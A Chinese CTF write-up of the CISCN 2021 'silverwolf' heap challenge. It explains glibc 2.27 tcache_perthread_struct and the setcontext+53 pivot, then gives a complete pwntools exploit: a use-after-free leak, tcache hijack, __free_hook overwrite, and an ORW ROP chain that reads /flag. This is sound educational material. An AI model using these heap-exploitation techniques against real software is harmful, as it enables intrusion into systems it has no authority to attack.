tcache_perthread_struct (glibc-2.27)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 typedef struct tcache_entry { struct tcache_entry *next ; } tcache_entry;typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct;
其中
1 # define TCACHE_MAX_BINS 64
在程序中就是一块0x250的堆块来记录每个大小的tcache中的数量以及第一个指针
比如
其中对应的tcache_perthread_struct 结构体就长这样
1 2 3 4 5 6 7 8 9 10 11 12 0 x555555605000 : 0 x0000000000000000 0 x0000000000000251 -->size位 -------0 x555555605010 : 0 x0007070100000007 0 x0000020003000000 -->比如0x00 07 07 01 00 00 00 07 从右到左分别是 0x20 0x30 0x40 0x50 大小的free chunk的数量,0 x10是7 ....0 x555555605020 : 0 x0000000000000000 0 x0000000000000000 0 x555555605030 : 0 x0000000000000000 0 x0000000000000000 0 x555555605040 : 0 x0000000000000000 0 x0000000000000000 -------以上记录的都是counts,也就是数量0 x555555605050 : 0 x0000555555606610 (0 x20) 0 x0000000000000000 这里记录指针,也是从0 x20开始(0 x30)0 x555555605060 : 0 x0000000000000000 (0 x40) 0 x0000000000000000 (0 x50)0 x555555605070 : 0 x00005555556068c0 (0 x60) 0 x0000555555606360 0 x555555605080 : 0 x0000555555605e90 0 x0000000000000000 0 x555555605090 : 0 x0000000000000000 0 x0000000000000000
如果能控制这一块,就可以实现任意写等效果。
setcontext 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 .text:0000000000052180 public setcontext ; weak .text:0000000000052180 setcontext proc near ; CODE XREF: sub_587B0+C↓p .text:0000000000052180 ; DATA XREF: LOAD:0000000000009018 ↑o .text:0000000000052180 ; __unwind { .text:0000000000052180 push rdi .text:0000000000052181 lea rsi, [rdi+128 h] ; nset .text:0000000000052188 xor edx, edx ; oset .text:000000000005218 A mov edi, 2 ; how .text:000000000005218F mov r10d, 8 ; sigsetsize .text:0000000000052195 mov eax, 0 Eh .text:000000000005219 A syscall ; LINUX - sys_rt_sigprocmask .text:000000000005219 C pop rdi .text:000000000005219 D cmp rax, 0F FFFFFFFFFFFF001h .text:00000000000521 A3 jnb short loc_52200 .text:00000000000521 A5 mov rcx, [rdi+0E0 h] .text:00000000000521 AC fldenv byte ptr [rcx] .text:00000000000521 AE ldmxcsr dword ptr [rdi+1 C0h] .text:00000000000521B 5 mov rsp, [rdi+0 A0h] .text:00000000000521B C mov rbx, [rdi+80 h] .text:00000000000521 C3 mov rbp, [rdi+78 h] .text:00000000000521 C7 mov r12, [rdi+48 h] .text:00000000000521 CB mov r13, [rdi+50 h] .text:00000000000521 CF mov r14, [rdi+58 h] .text:00000000000521 D3 mov r15, [rdi+60 h] .text:00000000000521 D7 mov rcx, [rdi+0 A8h] .text:00000000000521 DE push rcx .text:00000000000521 DF mov rsi, [rdi+70 h] .text:00000000000521E3 mov rdx, [rdi+88 h] .text:00000000000521 EA mov rcx, [rdi+98 h] .text:00000000000521F 1 mov r8, [rdi+28 h] .text:00000000000521F 5 mov r9, [rdi+30 h] .text:00000000000521F 9 mov rdi, [rdi+68 h]
一般从 setcontext+53 开始用,因为 fldenv byte pte [rcx] 会造成程序执行时直接 crash 。
通过这个,我们只要控制 rdi,就可以控制 rsp 等一系列寄存器,通过控制 rsp+ret 我们就可以控制程序流。
通常与 free 搭配使用,将 free_hook 覆盖成 setcontext+53,然后执行 free,此时 rdi 就指向我们正在 free 的 chunk,我们只要在这个 chunk 上布置好数据,就可以控制 rsp 等一系列寄存器
需要注意的是,如果我们控制的是 rsp 寄存器,这里的 push rcx 会对其造成影响
[CISCN 2021 初赛]silverwolf 64位动态链接,保护全开,并且沙箱只允许 open read write
main 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { _QWORD v3[5 ]; v3[1 ] = __readfsqword(0x28u ); init_sandbox(); while ( 1 ) { puts ("1. allocate" ); puts ("2. edit" ); puts ("3. show" ); puts ("4. delete" ); puts ("5. exit" ); __printf_chk(1 , "Your choice: " ); __isoc99_scanf(&unk_1144, v3); switch ( v3[0 ] ) { case 1LL : add(); break ; case 2LL : edit(); break ; case 3LL : show(); break ; case 4LL : delete(); break ; case 5LL : exit (0 ); default : puts ("Unknown" ); break ; } } }
add 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 unsigned __int64 add () { size_t size_1; void *heap_buffer; size_t size; unsigned __int64 v4; v4 = __readfsqword(0x28u ); __printf_chk(1 , "Index: " ); __isoc99_scanf(&unk_1144, &size); if ( !size ) { __printf_chk(1 , "Size: " ); __isoc99_scanf(&unk_1144, &size); size_1 = size; if ( size > 0x78 ) { __printf_chk(1 , "Too large" ); } else { heap_buffer = malloc (size); if ( heap_buffer ) { alloc_size = size_1; ::heap_buffer = heap_buffer; puts ("Done!" ); } else { puts ("allocate failed" ); } } } return __readfsqword(0x28u ) ^ v4; }
edit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 unsigned __int64 edit () { _BYTE *buf; char *v1; __int64 v3; unsigned __int64 v4; v4 = __readfsqword(0x28u ); __printf_chk(1 , "Index: " ); __isoc99_scanf(&unk_1144, &v3); if ( !v3 ) { if ( heap_buffer ) { __printf_chk(1 , "Content: " ); buf = heap_buffer; if ( alloc_size ) { v1 = (char *)heap_buffer + alloc_size; while ( 1 ) { read(0 , buf, 1u ); if ( *buf == '\n' ) break ; if ( ++buf == v1 ) return __readfsqword(0x28u ) ^ v4; } *buf = 0 ; } } } return __readfsqword(0x28u ) ^ v4; }
show 1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned __int64 show () { __int64 v1; unsigned __int64 v2; v2 = __readfsqword(0x28u ); __printf_chk(1 , "Index: " ); __isoc99_scanf(&unk_1144, &v1); if ( !v1 && heap_buffer ) __printf_chk(1 , "Content: %s\n" , (const char *)heap_buffer); return __readfsqword(0x28u ) ^ v2; }
delete 1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned __int64 delete () { __int64 v1; unsigned __int64 v2; v2 = __readfsqword(0x28u ); __printf_chk(1 , "Index: " ); __isoc99_scanf(&unk_1144, &v1); if ( !v1 && heap_buffer ) free (heap_buffer); return __readfsqword(0x28u ) ^ v2; }
分析 可以看到很明显的 UAF,并且 idx 只能为 0,有沙箱,ORW
可以通过控制 tcache_perthread_struct 然后 setcontext 迁移栈,实现 orw
由于沙箱的存在,tcache 原本就有一些 free chunk,那么我们可以分配一个有 chunk 的 tcache 链中,然后通过UAF + show() 泄露一个堆块的地址,计算固定偏移,得出 heapbase
1 2 3 4 5 add(0x78 ) delete() show() ru("Content: " ) heapbase=u64(rv(6 ).ljust(8 ,b'\x00' ))-0x11b0
然后我们 edit 写入 heapbase+0x10,由于 0x250 的这个 tcache_perthread_struct 是最先分配的,它就在 heapbase 上,如果我们直接分配 heapbase 会破坏 size 为,所以要 +0x10,
1 2 3 edit(p64(heapbase+0x10 )) add(0x78 ) add(0x78 )
分配两次得到 heapbase,也就是 tcache_perthread_struct
这里我们往里面写入
1 edit(p64(0 )*4 +p64(0x0000000007000000 ))
这个就是写 0x250 的 tcache 链已经满了,这样我们释放时,就会让这个堆块进入 unsortedbin,从而泄露 libcbase,效果如下
为什么是 0x250 而不是 0x80,因为 tcache 的分配不会检查 size, 也不会写 size,只是将这个 chunk 拿出来,原本是多大还是多大,所以我们上面第二个 add(0x78) 其实是分配了这个 0x250 的堆块, delete() 后即可让其进入 unsortedbin,然后计算libcbase,并且得到各个 gadgets 的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 delete() show() ru("Content: " ) libcbase=u64(rv(6 ).ljust(8 ,b'\x00' ))-0x3ebca0 free_hook=libcbase+libc.sym['__free_hook' ]print ("[+] libcbase " ,hex (libcbase)) rdi_addr=libcbase+0x00000000000215bf rsi_addr=libcbase+0x0000000000023eea rdx_addr=libcbase+0x0000000000001b96 rax_addr=libcbase+0x0000000000043ae8 ret_addr=libcbase+0x00000000000008aa syscall=libcbase+0x00000000000d2745 read_addr=libcbase+libc.sym['read' ] write_addr=libcbase+libc.sym['write' ] setcontext=libcbase+libc.sym['setcontext' ]+53
然后是写出各个需要的地址和 orw
1 2 3 4 5 6 7 8 flag_str=heapbase+0x1000 f_stack=heapbase+0x2000 stack_rop=heapbase+0x20a0 orw1=heapbase+0x3000 orw2=heapbase+0x3040 orw=p64(rax_addr)+p64(2 )+p64(rdi_addr)+p64(flag_str)+p64(rsi_addr)+p64(0 )+p64(rdx_addr)+p64(0 )+p64(syscall) orw+=p64(rdi_addr)+p64(3 )+p64(rsi_addr)+p64(heapbase+0x3000 )+p64(rdx_addr)+p64(0x30 )+p64(read_addr) orw+=p64(rdi_addr)+p64(1 )+p64(write_addr)
然后将这些数据写入 tcache 中,为接下去的分配做准备
1 2 3 4 5 6 7 8 payload=b'\x01' *64 payload+=p64(free_hook) payload+=p64(flag_str) payload+=p64(f_stack) payload+=p64(stack_rop) payload+=p64(orw1) payload+=p64(orw2) edit(payload)
效果如下
然后分配 0x10 ,将 setcontext+53 写入 free_hook
1 2 add(0x10 ) edit(p64(setcontext))
然后分配 0x20 将 /flag 这个字符串写进去,以便 open(/flag,0,0)
1 2 add(0x20 ) edit(b'/flag\x00\x00\x00' )
然后分两次写入我们的 orw 串
1 2 3 4 add(0x50 ) edit(orw[:0x40 ]) add(0x60 ) edit(orw[0x40 :])
然后将 orw 的地址写入到我们伪造的栈上
1 2 add(0x40 ) edit(p64(orw1)+p64(ret_addr))
为何需要 ret_addr ,因为后面会有一个 push rcx 会使 rsp-8,够不着我们的 orw 串,我们在 [rdi+0xa8] 这个地址处写入 ret_addr,控制 rcx=ret_addr,从而 push 后有一个 ret,相当于先执行一个 ret 再执行 orw,以便拿到 flag
然后就是 delete 来触发 setcontext 以及 orw,拿到flag
这里控制 rdi=f_stack,从而控制 rsp,从而控制 rip,控制程序执行 orw,拿到flag
效果如下
总结下:
利用已有 chunk 泄露 heapbase
UAF 控制 tcache_perthread_struct ,泄露 libcbase
setcontext 与 orw 搭配拿到 flag
完整 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 from pwn import * path='./silverwolf' r=process(path) elf=ELF(path) context(os='linux' ,log_level='debug' ,arch='amd64' ) libc=ELF('./libc-2.27.so' ) sla = lambda a,b : r.sendlineafter(a,b) sa = lambda a,b : r.sendafter(a,b) sa = lambda a,b : r.sendafter(a,b) ru = lambda a : r.recvuntil(a) rv = lambda a : r.recv(a) irt = lambda : r.interactive()def add (size ): sla("Your choice: " ,"1" ) sla("Index: " ,"0" ) sla("Size: " ,str (size)) def edit (content ): sla("Your choice: " ,"2" ) sla("Index: " ,"0" ) sla("Content: " ,content)def show (): sla("Your choice: " ,"3" ) sla("Index: " ,"0" )def delete (): sla("Your choice: " ,"4" ) sla("Index: " ,"0" ) add(0x78 ) delete() show() ru("Content: " ) heapbase=u64(rv(6 ).ljust(8 ,b'\x00' ))-0x11b0 print ("[+] heap base addr: " ,hex (heapbase)) edit(p64(heapbase+0x10 )) add(0x78 ) add(0x78 ) edit(p64(0 )*4 +p64(0x0000000007000000 )) delete() show() ru("Content: " ) libcbase=u64(rv(6 ).ljust(8 ,b'\x00' ))-0x3ebca0 free_hook=libcbase+libc.sym['__free_hook' ]print ("[+] libcbase " ,hex (libcbase)) rdi_addr=libcbase+0x00000000000215bf rsi_addr=libcbase+0x0000000000023eea rdx_addr=libcbase+0x0000000000001b96 rax_addr=libcbase+0x0000000000043ae8 ret_addr=libcbase+0x00000000000008aa syscall=libcbase+0x00000000000d2745 read_addr=libcbase+libc.sym['read' ] write_addr=libcbase+libc.sym['write' ] setcontext=libcbase+libc.sym['setcontext' ]+53 flag_str=heapbase+0x1000 f_stack=heapbase+0x2000 stack_rop=heapbase+0x20a0 orw1=heapbase+0x3000 orw2=heapbase+0x3040 orw=p64(rax_addr)+p64(2 )+p64(rdi_addr)+p64(flag_str)+p64(rsi_addr)+p64(0 )+p64(rdx_addr)+p64(0 )+p64(syscall) orw+=p64(rdi_addr)+p64(3 )+p64(rsi_addr)+p64(heapbase+0x3000 )+p64(rdx_addr)+p64(0x30 )+p64(read_addr) orw+=p64(rdi_addr)+p64(1 )+p64(write_addr) payload=b'\x01' *64 payload+=p64(free_hook) payload+=p64(flag_str) payload+=p64(f_stack) payload+=p64(stack_rop) payload+=p64(orw1) payload+=p64(orw2) edit(payload) add(0x10 ) edit(p64(setcontext)) add(0x20 ) edit(b'/flag\x00\x00\x00' ) add(0x50 ) edit(orw[:0x40 ]) add(0x60 ) edit(orw[0x40 :])print ("[+] setcontext: " ,hex (setcontext)) pause() add(0x40 ) edit(p64(orw1)+p64(ret_addr)) add(0x30 ) delete() irt()